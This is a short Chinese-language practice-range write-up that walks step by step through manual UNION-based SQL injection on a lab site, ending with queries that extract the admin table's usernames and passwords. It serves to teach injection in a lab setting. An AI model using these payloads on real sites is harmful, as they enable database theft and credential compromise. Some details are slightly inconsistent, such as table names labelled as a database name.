靶场地址: http://rhiq8003.ia.aqlab.cn/
域名后面加上了id=1,说明存在着数据库的交互
那么这里就很有可能是注入点
把这个作为我们的目标url:http://rhiq8003.ia.aqlab.cn/?id=1
构造and 1=1,这个语句是恒成立的,一般页面都是不报错的
出错,初步说明存在着注入漏洞
在这里会使用到order by() 函数,它会根据后面的参数来改变排序顺序,比如数据库里有多个列,根据选取的列明,id,name,来排序
构造?id=1 and 1=1 order by 1 页面没有变化(order by 1表示根据第一列来排序,一般也是如此默认升序的)
再来依次构造order by 2 / order by 3
由MySQL的语法有,order by后面的数据超过列数后将会报错,因此用种方法来判断一共有几个字段
当进行到order by 3 后,页面显示错误,因此判断一共只有两个字段
回显点就是在页面中能显示数据库信息的板块,比如有的网页中“浏览次数”“发布时间”等,都反应的是数据库中的数据
于是我们使用联合查询
我们同时查询这两个数据
但要注意的是,在MySQL语句中,页面一次只能显示一行查询的内容,而且是先查后显示,于是我们需要让前面的语句?id=1 and 1=1这句话失效,从而显示union select 1,2的内容
因此我们让前一个命令报错无法显示,即构造?id=1 and 1=2,后面照常union select 1,2
这样就完全没用
必须构造1=2
找到了回显点2
已知2为回显点,我们只需要在联合查询时将2替代为我们想要查询到部位名称即可
可以查询当前的数据库名,将2替换为database()
构造id=1 and 1=2 union select 1,database()
数据库名为maoshe
查询当前数据库 表名
?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
(tips:group_concat()函数是将查询结果放到同一行)
查询到的数据库名为admin,dirs,news,xss
一般关于管理员的信息都在admin表中
查询admin表的列名
构造 ?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘admin’
第一列是id,第二列是username,第三列是password
该有的信息都找到了,直接查询就行了
构造 ?id=1 and 1=2 union select 1,group_concat(username) from admin
查询登陆用户名
构造 ?id=1 and 1=2 union select 1,group_concat(password) from admin
查询密码